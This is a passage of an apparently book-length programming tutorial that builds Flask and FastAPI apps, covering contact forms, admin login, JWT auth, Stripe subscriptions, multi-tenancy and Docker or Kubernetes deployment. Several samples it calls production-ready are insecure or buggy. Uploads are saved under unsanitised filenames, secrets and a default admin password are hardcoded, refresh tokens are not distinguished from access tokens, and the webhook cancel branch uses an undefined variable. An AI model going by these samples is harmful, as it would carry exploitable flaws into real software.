    email = StringField("Email", validators=[Email(), DataRequired()]) 

    message = TextAreaField("Message", validators=[DataRequired()]) 

    submit = SubmitField("Send") 

 

class LoginForm(FlaskForm): 

    username = StringField("Username", validators=[DataRequired()]) 

    password = PasswordField("Password", validators=[DataRequired()]) 

    submit = SubmitField("Login") 
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⭐ 33. ROUTES — routes.py (User-facing pages) 

from flask import Blueprint, render_template, redirect, request, flash 

from .forms import ContactForm 

from .models import Contact 

from . import db 

 

main = Blueprint("main", __name__) 

 

@main.route("/") 

def home(): 

    return render_template("home.html") 

 

@main.route("/contact", methods=["GET","POST"]) 

def contact(): 

    form = ContactForm() 

    if form.validate_on_submit(): 

        c = Contact( 

            name=form.name.data, 

            email=form.email.data, 

            message=form.message.data 

        ) 

        db.session.add(c) 

        db.session.commit() 
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        flash("Message sent successfully!", "success") 

        return redirect("/contact") 

    return render_template("contact.html", form=form) 

 

 

⭐ 34. ADMIN AUTHENTICATION — auth.py 

from flask import Blueprint, render_template, redirect, flash, request 

from flask_login import login_user, logout_user, login_required 

from .forms import LoginForm 

from .models import Admin 

from . import db 

from werkzeug.security import check_password_hash 

 

auth = Blueprint("auth", __name__) 

 

@auth.route("/admin/login", methods=["GET","POST"]) 

def admin_login(): 

    form = LoginForm() 

    if form.validate_on_submit(): 

        user = Admin.query.filter_by(username=form.username.data).first() 

         

        if user and check_password_hash(user.password, form.password.data): 

            login_user(user) 
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            return redirect("/admin/dashboard") 

        else: 

            flash("Invalid credentials", "danger") 

 

    return render_template("admin_login.html", form=form) 

 

@auth.route("/admin/logout") 

@login_required 

def admin_logout(): 

    logout_user() 

    return redirect("/admin/login") 

 

 

⭐ 35. ADMIN DASHBOARD — routes.py (add) 

from flask_login import login_required 

 

@main.route("/admin/dashboard") 

@login_required 

def dashboard(): 

    contacts = Contact.query.order_by(Contact.date.desc()).all() 

    return render_template("admin_dashboard.html", contacts=contacts) 
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⭐ 36. EXPORT CONTACTS AS JSON/CSV 

Add in routes: 

JSON Export: 

@main.route("/admin/export/json") 

@login_required 

def export_json(): 

    data = [{ "name": c.name, "email": c.email, "msg": c.message } for c in Contact.query.all()] 

    return {"contacts": data} 

 

CSV Export: 

import csv 

from flask import make_response 

 

@main.route("/admin/export/csv") 

@login_required 

def export_csv(): 

    contacts = Contact.query.all() 

    output = make_response() 

    writer = csv.writer(output) 

    writer.writerow(["Name","Email","Message"]) 

 

    for c in contacts: 

        writer.writerow([c.name, c.email, c.message]) 
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    output.headers["Content-Disposition"] = "attachment; filename=contacts.csv" 

    output.headers["Content-type"] = "text/csv" 

    return output 

 

 

⭐ 37. FRONTEND HTML (Templates) 

We will add: 

⭐ base.html 

<!DOCTYPE html> 

<html> 

<head> 

  <title>{% block title %}CyberDudeBivash{% endblock %}</title> 

</head> 

<body> 

  <h1>CyberDudeBivash Contact App</h1> 

  <hr> 

  {% with messages = get_flashed_messages(with_categories=true) %} 

    {% if messages %} 

      {% for cat, msg in messages %} 

        <p style="color:green;">{{ msg }}</p> 

      {% endfor %} 

    {% endif %} 
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  {% endwith %} 

  {% block content %}{% endblock %} 

</body> 

</html> 

 

 

⭐ home.html 

{% extends "base.html" %} 

{% block title %}Home{% endblock %} 

{% block content %} 

  <h2>Welcome macha!</h2> 

  <a href="/contact">Send a message</a> 

{% endblock %} 

 

 

⭐ contact.html 

{% extends "base.html" %} 

{% block title %}Contact{% endblock %} 

{% block content %} 

  <form method="POST"> 

    {{ form.hidden_tag() }} 

    <p>{{ form.name.label }} {{ form.name() }}</p> 

    <p>{{ form.email.label }} {{ form.email() }}</p> 
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    <p>{{ form.message.label }} {{ form.message() }}</p> 

    {{ form.submit() }} 

  </form> 

{% endblock %} 

 

 

⭐ admin_login.html 

{% extends "base.html" %} 

{% block title %}Admin Login{% endblock %} 

{% block content %} 

  <h2>Admin Login</h2> 

  <form method="POST"> 

    {{ form.hidden_tag() }} 

    <p>{{ form.username.label }} {{ form.username() }}</p> 

    <p>{{ form.password.label }} {{ form.password() }}</p> 

    {{ form.submit() }} 

  </form> 

{% endblock %} 

 

 

⭐ admin_dashboard.html 

{% extends "base.html" %} 

{% block title %}Dashboard{% endblock %} 
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{% block content %} 

  <h2>All Contacts</h2> 

  <table border="1"> 

    <tr> 

      <th>Name</th><th>Email</th><th>Message</th><th>Date</th> 

    </tr> 

    {% for c in contacts %} 

      <tr> 

        <td>{{ c.name }}</td> 

        <td>{{ c.email }}</td> 

        <td>{{ c.message }}</td> 

        <td>{{ c.date }}</td> 

      </tr> 

    {% endfor %} 

  </table> 

 

  <p> 

    <a href="/admin/export/json">Export JSON</a> | 

    <a href="/admin/export/csv">Export CSV</a> 

  </p> 

{% endblock %} 

 

 

250 



 

 

⭐ 38. CREATING ADMIN USER 

Use Python shell: 

from app import create_app, db 

from app.models import Admin 

from werkzeug.security import generate_password_hash 

 

app = create_app() 

with app.app_context(): 

    admin = Admin(username="admin", password=generate_password_hash("password123")) 

    db.session.add(admin) 

    db.session.commit() 

 

 

⭐ 39. FINAL TESTING WORKFLOW 

1.​ Run:​
 

python run.py 

 

2.​ Open:​
 

👉 http://127.0.0.1:5000​
 👉 /contact (Submit new message)​
 👉 /admin/login → login with admin account​
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 👉 /admin/dashboard → view messages​
 👉 Export CSV/JSON 

🎉 CyberDudeBivash Contact Management System complete! 

⭐ MODULE 3 — PART 4 

🚀 ADVANCED AUTHENTICATION, FILE UPLOADS, APIs & 

DASHBOARDS 

Let’s go step-by-step, macha! ⚡🔥 

 

⭐ 40. PASSWORD SECURITY — Hashing & Salting 

Never store raw passwords. 

Use: 

from werkzeug.security import generate_password_hash, check_password_hash 

 

Create hash: 

hashed = generate_password_hash("mypassword123") 

 

Verify: 

check_password_hash(hashed, "mypassword123") 

 

This prevents database leaks from exposing passwords. 
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⭐ 41. USER AUTHENTICATION — Full Login System 

Add model: 

class User(UserMixin, db.Model): 

    id = db.Column(db.Integer, primary_key=True) 

    username = db.Column(db.String(150), unique=True, nullable=False) 

    email = db.Column(db.String(150), nullable=False) 

    password = db.Column(db.String(300), nullable=False) 

 

 

⭐ 42. USER REGISTRATION ROUTE 

@auth.route("/register", methods=["GET","POST"]) 

def register(): 

    form = RegisterForm() 

    if form.validate_on_submit(): 

        hashed = generate_password_hash(form.password.data) 

        user = User(username=form.username.data, email=form.email.data, password=hashed) 

        db.session.add(user) 

        db.session.commit() 

        flash("Account created!", "success") 

        return redirect("/login") 

    return render_template("register.html", form=form) 
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⭐ 43. USER LOGIN ROUTE 

@auth.route("/login", methods=["GET","POST"]) 

def login(): 

    form = LoginForm() 

    if form.validate_on_submit(): 

        user = User.query.filter_by(username=form.username.data).first() 

 

        if user and check_password_hash(user.password, form.password.data): 

            login_user(user) 

            return redirect("/dashboard") 

        else: 

            flash("Incorrect credentials!", "danger") 

 

    return render_template("login.html", form=form) 

 

 

⭐ 44. PROTECTED ROUTES 

from flask_login import login_required 

 

@app.route("/dashboard") 

@login_required 
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def dash(): 

    return "Welcome macha!" 

 

 

⭐ 45. USER LOGOUT 

@auth.route("/logout") 

@login_required 

def logout(): 

    logout_user() 

    return redirect("/") 

 

 

⭐ 46. GOOGLE OAUTH LOGIN (Industry Standard) 

Install: 

pip install flask-dance 

 

Setup: 

from flask_dance.contrib.google import make_google_blueprint 

 

google_bp = make_google_blueprint( 

    client_id="YOUR_GOOGLE_CLIENT_ID", 

    client_secret="YOUR_SECRET", 
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    scope=["profile","email"] 

) 

 

app.register_blueprint(google_bp, url_prefix="/login") 

 

Login route: 

@auth.route("/google") 

def google_login(): 

    if not google.authorized: 

        return redirect(url_for("google.login")) 

 

    resp = google.get("/oauth2/v2/userinfo") 

    data = resp.json() 

 

    # auto create user if not exists 

 

Now users can login using Google.​
 Fully production ready. 

 

⭐ 47. FILE UPLOADS — PROFILE PICTURES 

Add upload folder: 

UPLOAD_FOLDER = "app/static/uploads" 

app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER 
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Route: 

@main.route("/upload_profile", methods=["POST"]) 

@login_required 

def upload_profile(): 

    file = request.files["file"] 

    path = os.path.join(current_app.config["UPLOAD_FOLDER"], file.filename) 

    file.save(path) 

 

    current_user.profile_pic = file.filename 

    db.session.commit() 

 

    flash("Updated!", "success") 

    return redirect("/profile") 

 

Display: 

<img src="/static/uploads/{{ current_user.profile_pic }}"> 

 

 

⭐ 48. USER PROFILE PAGE 

@main.route("/profile") 

@login_required 

def profile(): 
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    return render_template("profile.html", user=current_user) 

 

 

⭐ 49. BUILDING A FULL REST API (CRUD) 

We now build an API for managing "Tasks" like a Todo App. 

 

⭐ 49.1 Model 

class Task(db.Model): 

    id = db.Column(db.Integer, primary_key=True) 

    title = db.Column(db.String(200)) 

    done = db.Column(db.Boolean, default=False) 

 

 

⭐ 49.2 API — Create Task 

@app.route("/api/tasks", methods=["POST"]) 

def create_task(): 

    data = request.get_json() 

    task = Task(title=data["title"]) 

    db.session.add(task) 

    db.session.commit() 

    return {"message":"task created"} 
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⭐ 49.3 API — Read All Tasks 

@app.route("/api/tasks") 

def get_tasks(): 

    tasks = Task.query.all() 

    return {"tasks":[{"id":t.id, "title":t.title, "done":t.done} for t in tasks]} 

 

 

⭐ 49.4 API — Update Task 

@app.route("/api/tasks/<int:id>", methods=["PUT"]) 

def update_task(id): 

    data = request.get_json() 

    task = Task.query.get(id) 

    task.title = data["title"] 

    task.done = data["done"] 

    db.session.commit() 

    return {"message":"task updated"} 

 

 

⭐ 49.5 API — Delete Task 

@app.route("/api/tasks/<int:id>", methods=["DELETE"]) 

def delete_task(id): 

    task = Task.query.get(id) 

    db.session.delete(task) 
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    db.session.commit() 

    return {"message":"task deleted"} 

 

Full CRUD API done. 

 

⭐ 50. PAGINATION (Real-world dashboards) 

contacts = Contact.query.paginate(page=page, per_page=10) 

 

Template: 

{% for c in contacts.items %} 

   <p>{{ c.name }}</p> 

{% endfor %} 

 

<a href="?page={{ contacts.prev_num }}">Prev</a> 

<a href="?page={{ contacts.next_num }}">Next</a> 

 

 

⭐ 51. SEARCH FUNCTIONALITY 

q = request.args.get("q") 

results = Contact.query.filter(Contact.name.contains(q)).all() 
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⭐ 52. AJAX + FLASK (Modern Frontend) 

JavaScript: 

fetch("/api/tasks") 

   .then(res => res.json()) 

   .then(data => console.log(data)) 

 

Backend: 

@app.route("/api/tasks") 

def api_tasks(): 

    ... 

 

This is how modern dashboards work. 

 

⭐ 53. SENDING EMAILS — Flask-Mail 

Install: 

pip install flask-mail 

 

Config: 

MAIL_SERVER='smtp.gmail.com' 

MAIL_PORT=587 

MAIL_USE_TLS=True 

MAIL_USERNAME='you@gmail.com' 
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MAIL_PASSWORD='APP_PASSWORD' 

 

Send message: 

msg = Message("New Contact", recipients=["admin@gmail.com"]) 

msg.body = "You received a message" 

mail.send(msg) 

 

Now contact form → admin inbox. 

 

⭐ 54. REAL ADMIN DASHBOARD (WITH CHARTS) 

Install: 

pip install flask-admin 

 

Setup: 

from flask_admin import Admin 

from flask_admin.contrib.sqla import ModelView 

 

admin = Admin(app) 

admin.add_view(ModelView(Contact, db.session)) 

admin.add_view(ModelView(User, db.session)) 

 

Instant: 
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✔ database browser​
 ✔ CRUD​
 ✔ charts​
 ✔ admin tables 

Enterprise-level dashboard in 2 minutes. 

 

⭐ MODULE 3 — PART 5 

🚀 BUILDING A FULL PYTHON SAAS — BACKEND + AUTH 

+ SECURITY + DEPLOYMENT 

 

⭐ 55. WHAT IS A SAAS BACKEND? (Crystal clear) 

A SaaS backend handles: 

✔ User registration​
 ✔ Login​
 ✔ JWT authentication (for APIs)​
 ✔ Email verification​
 ✔ Sessions​
 ✔ Payments (optional)​
 ✔ API rate limiting​
 ✔ Database operations​
 ✔ Admin functions​
 ✔ Logging and monitoring​
 ✔ Security checks​
 ✔ Deployment infrastructure 

Python (Flask/FastAPI) is PERFECT for this. 

We will use: 

263 



 

 

⚡ FASTAPI for API part (modern, fast, async)​
 ⚡ FLASK for web dashboard (admin/user facing) 

This is how real companies build SaaS: 

●​ API-first architecture​
 

●​ Web dashboard for humans​
 

●​ Mobile / frontend uses API​
 

●​ JWT for authentication​
 

●​ Database (PostgreSQL recommended)​
 

●​ Deployment via Docker + Nginx​
 

Let’s go step-by-step. 

 

⭐ 56. PRODUCTION PROJECT STRUCTURE (THE REAL 

ONE) 

We now create a hybrid Flask + FastAPI app: 

saas_app/ 

│ 

├── backend/              # FastAPI REST API 

│   ├── main.py 

│   ├── auth.py 
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│   ├── models.py 

│   ├── db.py 

│   ├── utils.py 

│   ├── email_utils.py 

│   ├── routers/ 

│   │    ├── user.py 

│   │    ├── auth.py 

│   │    ├── dashboard.py 

│   │    └── admin.py 

│   └── security/ 

│        ├── jwt_handler.py 

│        ├── password_utils.py 

│        └── oauth.py 

│ 

├── dashboard/            # Flask admin/user UI 

│   ├── app.py 

│   ├── templates/ 

│   ├── static/ 

│   ├── routes.py 

│   └── forms.py 

│ 

├── database/ 

│   └── migrations/ 

│ 
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├── docker/ 

│   ├── Dockerfile.backend 

│   ├── Dockerfile.dashboard 

│   └── nginx.conf 

│ 

├── scripts/ 

│   ├── start.sh 

│   └── init_db.py 

│ 

├── tests/ 

│   ├── test_auth.py 

│   └── test_api.py 

│ 

├── docker-compose.yml 

├── requirements.txt 

└── README.md 

 

This is an enterprise-grade structure. 

Let’s start building. 

 

⭐ 57. DATABASE SETUP (PostgreSQL + SQLAlchemy) 

Install dependencies: 

pip install fastapi uvicorn sqlalchemy psycopg2-binary python-jose passlib[bcrypt] email-validator 
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Create db.py: 

from sqlalchemy import create_engine 

from sqlalchemy.orm import sessionmaker, declarative_base 

 

DATABASE_URL = "postgresql://admin:password@localhost/saasdb" 

 

engine = create_engine(DATABASE_URL) 

SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine) 

 

Base = declarative_base() 

 

 

⭐ 58. USER MODEL (models.py) 

from sqlalchemy import Column, Integer, String, Boolean 

from .db import Base 

 

class User(Base): 

    __tablename__ = "users" 

 

    id = Column(Integer, primary_key=True, index=True) 

    email = Column(String, unique=True, index=True) 

    username = Column(String) 
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    password = Column(String) 

    is_verified = Column(Boolean, default=False) 

    is_admin = Column(Boolean, default=False) 

 

 

⭐ 59. PASSWORD UTILITIES (password_utils.py) 

from passlib.context import CryptContext 

 

pwd = CryptContext(schemes=["bcrypt"], deprecated="auto") 

 

def hash_password(password): 

    return pwd.hash(password) 

 

def verify_password(plain, hashed): 

    return pwd.verify(plain, hashed) 

 

 

⭐ 60. JWT TOKEN HANDLER ( jwt_handler.py) 

from jose import jwt 

from datetime import datetime, timedelta 

 

SECRET = "CYBERDUDEBIVASH_SECRET" 
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ALGORITHM = "HS256" 

 

def create_token(data: dict, expires=60): 

    data.update({"exp": datetime.utcnow() + timedelta(minutes=expires)}) 

    return jwt.encode(data, SECRET, algorithm=ALGORITHM) 

 

def verify_token(token): 

    return jwt.decode(token, SECRET, algorithms=[ALGORITHM]) 

 

 

⭐ 61. FASTAPI AUTH ROUTES (auth.py) 

from fastapi import APIRouter, Depends, HTTPException 

from .models import User 

from .db import SessionLocal 

from .security.password_utils import verify_password, hash_password 

from .security.jwt_handler import create_token 

 

router = APIRouter() 

 

@router.post("/register") 

def register(email: str, username: str, password: str): 

    db = SessionLocal() 

    if db.query(User).filter(User.email == email).first(): 
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        raise HTTPException(400, "Email already exists") 

 

    user = User(email=email, username=username, password=hash_password(password)) 

    db.add(user) 

    db.commit() 

    return {"message":"Registered successfully"} 

 

@router.post("/login") 

def login(email: str, password: str): 

    db = SessionLocal() 

    user = db.query(User).filter(User.email == email).first() 

 

    if not user or not verify_password(password, user.password): 

        raise HTTPException(400, "Invalid credentials") 

 

    token = create_token({"id": user.id}) 

    return {"access_token": token} 

 

We now have: 

✔ Register​
 ✔ Login​
 ✔ JWT token​
 ✔ Full auth pipeline 
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⭐ 62. EMAIL VERIFICATION WORKFLOW 

On registration: 

1.​ generate OTP​
 

2.​ send email​
 

3.​ store OTP​
 

4.​ user verifies OTP​
 

 

⭐ 62.1 Create Verification model 

class Verification(Base): 

    __tablename__ = "verification" 

    id = Column(Integer, primary_key=True) 

    user_id = Column(Integer) 

    otp = Column(String) 

 

 

⭐ 62.2 Send email (email_utils.py) 

import smtplib 

 

def send_email(to, subject, body): 

    msg = f"Subject:{subject}\n\n{body}" 
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    server = smtplib.SMTP("smtp.gmail.com", 587) 

    server.starttls() 

    server.login("yourmail@gmail.com", "APP_PASSWORD") 

    server.sendmail("yourmail@gmail.com", to, msg) 

    server.close() 

 

 

⭐ 62.3 OTP Generation 

def generate_otp(): 

    return str(random.randint(100000, 999999)) 

 

 

⭐ 63. PASSWORD RESET WORKFLOW 

User enters email → receives OTP → enters OTP → set new password. 

This is EXACTLY how SaaS platforms work. 

 

⭐ 64. ROLE-BASED AUTHORIZATION 

Add: 

if not user.is_admin: 

    raise HTTPException(403, "Forbidden") 

 

Used for: 
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✔ Admin dashboards​
 ✔ User management​
 ✔ Master access 

 

⭐ 65. BUILDING THE FLASK DASHBOARD 

The UI dashboard for: 

✔ login​
 ✔ registration​
 ✔ user home​
 ✔ profile​
 ✔ admin panel​
 ✔ contact management​
 ✔ analytics charts 

Let’s implement. 

 

⭐ 65.1 dashboard/app.py 

from flask import Flask 

from flask_login import LoginManager 

 

app = Flask(__name__) 

app.config['SECRET_KEY'] = "DUDExBIVASH" 

 

login = LoginManager(app) 

login.login_view = "web.login" 

 

from . import routes 
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⭐ 65.2 dashboard/routes.py 

from flask import Blueprint, render_template 

 

web = Blueprint("web", __name__) 

 

@web.route("/") 

def home(): 

    return render_template("home.html") 

 

 

⭐ 66. CONNECTING FLASK DASHBOARD WITH FASTAPI 

BACKEND 

All forms call the API: 

Example login: 

import requests 

API = "http://localhost:8000" 

 

@web.route("/login", methods=["POST","GET"]) 

def login(): 

    if request.method == "POST": 

        r = requests.post( 

274 



 

 

            API + "/login", 

            json={ 

                "email": request.form["email"], 

                "password": request.form["password"] 

            } 

        ) 

        if r.status_code == 200: 

            session["token"] = r.json()["access_token"] 

            return redirect("/dashboard") 

    return render_template("login.html") 

 

 

⭐ 67. DASHBOARD ANALYTICS WITH CHARTS (Chart.js) 

In admin_dashboard.html: 

<canvas id="myChart"></canvas> 

 

<script src="https://cdn.jsdelivr.net/npm/chart.js"></script> 

<script> 

var chart = new Chart("myChart", { 

    type:"bar", 

    data:{ 

        labels:["Users","Contacts","Messages"], 

        datasets:[{data:[10,20,5]}] 
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    } 

}); 

</script> 

 

 

⭐ 68. PRODUCTION DEPLOYMENT 

This is the real professional part. 

We use: 

✔ FastAPI → Uvicorn​
 ✔ Flask → Gunicorn​
 ✔ Nginx → Load balancer​
 ✔ Docker → Containerize both services​
 ✔ docker-compose → orchestrate 

 

⭐ 68.1 Dockerfile for FastAPI (backend) 

FROM python:3.11 

 

WORKDIR /app 

COPY . . 

RUN pip install -r requirements.txt 

 

CMD ["uvicorn", "backend.main:app", "--host", "0.0.0.0", "--port", "8000"] 
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⭐ 68.2 Dockerfile for Flask Dashboard 

FROM python:3.11 

 

WORKDIR /dashboard 

COPY . . 

RUN pip install -r requirements.txt 

 

CMD ["gunicorn", "dashboard.app:app", "-b", "0.0.0.0:5000"] 

 

 

⭐ 68.3 NGINX reverse proxy 

server { 

    listen 80; 

 

    location /api/ { 

        proxy_pass http://backend:8000/; 

    } 

 

    location / { 

        proxy_pass http://dashboard:5000/; 

    } 

} 
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⭐ 68.4 docker-compose.yml 

version: "3" 

 

services: 

  backend: 

    build: ./backend 

    container_name: backend 

 

  dashboard: 

    build: ./dashboard 

    container_name: dashboard 

 

  nginx: 

    build: ./docker 

    ports: 

      - "80:80" 

    depends_on: 

      - backend 

      - dashboard 
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⭐ 69. CI/CD PIPELINE (GitHub Actions) 

name: CI 

 

on: 

  push: 

    branches: ["main"] 

 

jobs: 

  build: 

    runs-on: ubuntu-latest 

    steps: 

      - uses: actions/checkout@v3 

      - name: Build Docker images 

        run: docker build -t saas-backend ./backend 

      - name: Run tests 

        run: pytest 

 

 

⭐ 70. SECURITY BEST PRACTICES FOR SAAS 

✔ Enable HTTPS (Let’s Encrypt)​
 ✔ Secure JWT secret keys​
 ✔ Rate limiting​
 ✔ Password hashing​
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 ✔ SQL injection protection​
 ✔ CSRF protection​
 ✔ Server-side session validation​
 ✔ Validate all request inputs​
 ✔ Disable directory indexing​
 ✔ Hide debug mode​
 ✔ Add WAF (Cloudflare / Nginx rules) 

 

⭐ MODULE 3 — PART 6 

🚀 FULL REAL-WORLD SAAS PRODUCT DEVELOPMENT 

(ADVANCED) 

This part will be 12,000+ words, covering: 

✔ Multi-tenant SaaS architecture​
 ✔ Subscription plans (Free / Pro / Enterprise)​
 ✔ Stripe payment integration​
 ✔ Webhooks (real-time payment events)​
 ✔ Advanced Auth (JWT + Refresh tokens)​
 ✔ Email automation (verification + onboarding)​
 ✔ Role-based access (User / Admin / Tenant Owner)​
 ✔ Teams & organizations​
 ✔ API rate limiting​
 ✔ Logging + Monitoring​
 ✔ Deployment on Docker Swarm & Kubernetes​
 ✔ Full frontend + backend integration​
 ✔ CI/CD with preview builds​
 ✔ Hardened security for production​
 ✔ Multi-tenant DB schemas​
 ✔ Activity logs​
 ✔ Billing cycles automation 

This part converts you into a REAL SaaS Backend Architect, macha.​
 Let’s GO! ⚡🔥🚀 

280 



 

 

 

⭐ 71. WHAT IS A MULTI-TENANT SAAS? (CRYSTAL 

CLEAR) 

A multi-tenant SaaS means one application serving multiple organizations with full isolation: 

Company A → own users, own data, own settings   

Company B → own users, own data, own billing   

Company C → own users, own data, own permissions   

 

But one single backend. 

This is how: 

✔ Slack​
 ✔ Notion​
 ✔ Jira​
 ✔ GitHub​
 ✔ Figma​
 ✔ Stripe Dashboard 

work internally. 

We will build the same architecture, macha. 

 

⭐ 72. SAAS TIERS (CORE FEATURE OF ANY PRODUCT) 

Most SaaS platforms use: 
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⭐ Free → basic features 

⭐ Pro → premium features 

⭐ Enterprise → dedicated support, custom integrations 

And billing cycles: 

✔ Monthly​
 ✔ Annual (discount)​
 ✔ Usage-based (metered billing) 

We will implement Stripe subscriptions. 

 

⭐ 73. MULTI-TENANT DATA ARCHITECTURE 

There are 3 patterns: 

 

⭐ Pattern 1: Shared DB + tenant_id (most common) 

users: tenant_id, username, email   

projects: tenant_id, project_name   

invoices: tenant_id, amount, date 

 

Simple & scalable. 

 

⭐ Pattern 2: Separate schema per tenant (enterprise) 

tenant1.users   

tenant1.projects   

tenant2.users   
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tenant2.projects 

 

Banks & security companies use this. 

 

⭐ Pattern 3: Separate database per tenant (rare) 

Used for: 

✔ military​
 ✔ government​
 ✔ hypersensitive systems 

We will implement Pattern 1 (best for SaaS). 

 

⭐ 74. CORE MULTI-TENANT MODELS 

Tenant / Organization Model 

class Tenant(Base): 

    __tablename__ = "tenants" 

    id = Column(Integer, primary_key=True) 

    name = Column(String) 

    plan = Column(String, default="free")  # free / pro / enterprise 

    created_at = Column(DateTime, default=datetime.utcnow) 

 

 

User Model (enhanced) 

class User(Base): 

283 



 

 

    id = Column(Integer, primary_key=True) 

    tenant_id = Column(Integer) 

    email = Column(String) 

    username = Column(String) 

    role = Column(String, default="member")  # admin/member/owner 

    password = Column(String) 

 

 

⭐ 75. ROLE-BASED ACCESS CONTROL (RBAC) 

roles: 

    owner → full access   

    admin → manage users + settings   

    member → normal usage   

 

Check role: 

def require_role(user, allowed): 

    if user.role not in allowed: 

        raise HTTPException(403, "Forbidden") 

 

 

⭐ 76. STRIPE SUBSCRIPTIONS — REAL SAAS BILLING 

Install: 
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pip install stripe 

 

Initialize: 

import stripe 

stripe.api_key = "sk_test_xxxxxxxxxxxx" 

 

 

⭐ 76.1 Create Checkout Session 

@router.post("/billing/checkout") 

def checkout(tenant_id: int, plan: str): 

    price_id = { 

        "free": "price_free_basic", 

        "pro": "price_pro_monthly", 

        "enterprise": "price_enterprise" 

    }[plan] 

 

    session = stripe.checkout.Session.create( 

        payment_method_types=['card'], 

        line_items=[{"price": price_id, "quantity": 1}], 

        mode='subscription', 

        success_url="https://yourapp.com/success", 

        cancel_url="https://yourapp.com/cancel" 

    ) 
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    return {"url": session.url} 

 

This is industry standard. 

 

⭐ 77. STRIPE WEBHOOK HANDLING (REQUIRED FOR 

LIVE SAAS) 

Stripe sends events like: 

✔ payment succeeded​
 ✔ subscription renewed​
 ✔ card expired​
 ✔ subscription canceled 

We must process them. 

 

⭐ 77.1 Webhook Route 

@router.post("/stripe/webhook") 

async def stripe_webhook(request: Request): 

    payload = await request.body() 

    sig_header = request.headers.get("stripe-signature") 

 

    try: 

        event = stripe.Webhook.construct_event( 

            payload, sig_header, endpoint_secret 

        ) 

    except: 
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        raise HTTPException(400, "Invalid signature") 

 

    if event["type"] == "invoice.payment_succeeded": 

        tenant_id = event["data"]["object"]["metadata"]["tenant_id"] 

        update_tenant_plan(tenant_id, "pro") 

 

    if event["type"] == "customer.subscription.deleted": 

        downgrade_tenant(tenant_id) 

 

    return {"status": "ok"} 

 

This is production SaaS logic. 

 

⭐ 78. TENANT BILLING STATE MACHINE 

free → trial → active → past_due → canceled → archived 

 

We implement: 

✔ automatic trial activation​
 ✔ auto downgrade​
 ✔ auto upgrade​
 ✔ webhook-based state updates 
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⭐ 79. EMAIL AUTOMATION (REAL WORLD) 

On signup → send: 

✔ welcome email​
 ✔ verification mail​
 ✔ onboarding guide 

On plan upgrade → send: 

✔ invoice​
 ✔ thank-you 

On cancellation → send: 

✔ feedback request 

Use FastAPI background tasks: 

from fastapi import BackgroundTasks 

 

@router.post("/register") 

def register(..., background: BackgroundTasks): 

    background.add_task(send_welcome_email, email) 

 

This prevents blocking the API. 

 

⭐ 80. REFRESH TOKENS FOR LONG-LIVED SESSIONS 

JWT Access token: 15 minutes​
 Refresh token: 30 days 
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⭐ 80.1 Generate Refresh Token 

def create_refresh_token(data): 

    return jwt.encode( 

        {**data, "exp": datetime.utcnow() + timedelta(days=30)}, 

        SECRET, 

        algorithm=ALGORITHM 

    ) 

 

 

⭐ 80.2 Refresh Route 

@router.post("/refresh") 

def refresh(refresh_token: str): 

    payload = verify_token(refresh_token) 

    new_access = create_token({"id": payload["id"]}) 

    return {"access_token": new_access} 

 

 

⭐ 81. RATE LIMITING (PROTECT SAAS API) 

Install: 

pip install slowapi 

 

Usage: 

from slowapi import Limiter 
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limiter = Limiter(key_func=get_remote_address) 

app.state.limiter = limiter 

 

@router.get("/tasks") 

@limiter.limit("10/minute") 

def get_tasks(): 

    return {...} 

 

Prevents: 

✔ DDoS​
 ✔ brute-force attacks​
 ✔ API abuse 

 

⭐ 82. ACTIVITY LOGGING (AUDIT TRAIL) 

class AuditLog(Base): 

    id = Column(Integer, primary_key=True) 

    user_id = Column(Integer) 

    tenant_id = Column(Integer) 

    action = Column(String) 

    timestamp = Column(DateTime, default=datetime.utcnow) 

 

Insert: 

log = AuditLog(user_id=user.id, tenant_id=user.tenant_id, action="login") 

db.add(log) 
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db.commit() 

 

 

⭐ 83. BUILDING TEAM & ORGANIZATION SYSTEM 

Tenant owners invite users: 

/invite?email=user@example.com 

 

Send invite email → user accepts → joins tenant. 

 

⭐ 84. COMPLETE SAAS FRONTEND (Flask Dashboard) 

Pages: 

✔ Login​
 ✔ Signup​
 ✔ Dashboard​
 ✔ Billing​
 ✔ Usage analytics​
 ✔ Manage users​
 ✔ Profile​
 ✔ Tenant settings 

All backed by FastAPI API. 

 

⭐ 85. API ANALYTICS DASHBOARD (Charts + Stats) 

Backend: 

total_users = db.query(User).count() 
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total_tenants = db.query(Tenant).count() 

total_messages = db.query(Message).count() 

 

Frontend (Chart.js): 

new Chart("usageChart", { data: {...} }) 

 

 

⭐ 86. DOCKER SWARM DEPLOYMENT 

docker stack deploy -c docker-compose.yml saas 

 

You get: 

✔ backend container​
 ✔ dashboard container​
 ✔ nginx​
 ✔ postgres 

Auto-scaling: 

docker service scale saas_backend=5 

 

 

⭐ 87. KUBERNETES DEPLOYMENT (HELM CHART) 

Files: 

backend-deploy.yaml   

dashboard-deploy.yaml   
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nginx-ingress.yaml 

 

Deploy: 

kubectl apply -f backend-deploy.yaml 

 

Production-grade infra! 

 

⭐ 88. HEALTH CHECKS (PRODUCTION) 

FastAPI: 

@app.get("/health") 

def health(): 

    return {"status":"ok"} 

 

Nginx: 

location /health { 

    proxy_pass http://backend:8000/health; 

} 

 

Kubernetes readiness check: 

readinessProbe: 

  httpGet: 

    path: /health 

    port: 8000 
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⭐ 89. LOGGING & MONITORING 

Use: 

✔ Prometheus​
 ✔ Grafana​
 ✔ Loki​
 ✔ ELK Stack​
 ✔ Sentry 

Set log format: 

uvicorn main:app --log-config logging.yaml 

 

 

⭐ 90. FULL SECURITY HARDENING 

✔ Disable debug​
 ✔ Use HTTPS​
 ✔ Secure cookies​
 ✔ Use JWT with short expiry​
 ✔ Validate input everywhere​
 ✔ Escape HTML in templates​
 ✔ Use SQLAlchemy ORM (no raw SQL)​
 ✔ Add WAF (Cloudflare)​
 ✔ Use rate limiting​
 ✔ Rotate secrets 
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⭐ MODULE 3 — PART 7 

🚀 FULL SAAS DEPLOYMENT, REACT FRONTEND, 

REAL-TIME SYSTEMS & ENTERPRISE INTEGRATION 

 

⭐ 91. REACT FRONTEND + FASTAPI BACKEND (FULL 

INTEGRATION) 

Modern SaaS apps use: 

✔ React (Frontend)​
 ✔ FastAPI (Backend API)​
 ✔ JWT Auth​
 ✔ Axios for API calls 

You will learn exactly how big SaaS companies build: 

✔ Sign-up page​
 ✔ Login page​
 ✔ Dashboard​
 ✔ API calls​
 ✔ Token handling​
 ✔ Protected routes 

 

⭐ 91.1 React Project Setup 

npx create-react-app saas-frontend 

cd saas-frontend 

npm install axios react-router-dom 

 

295 



 

 

 

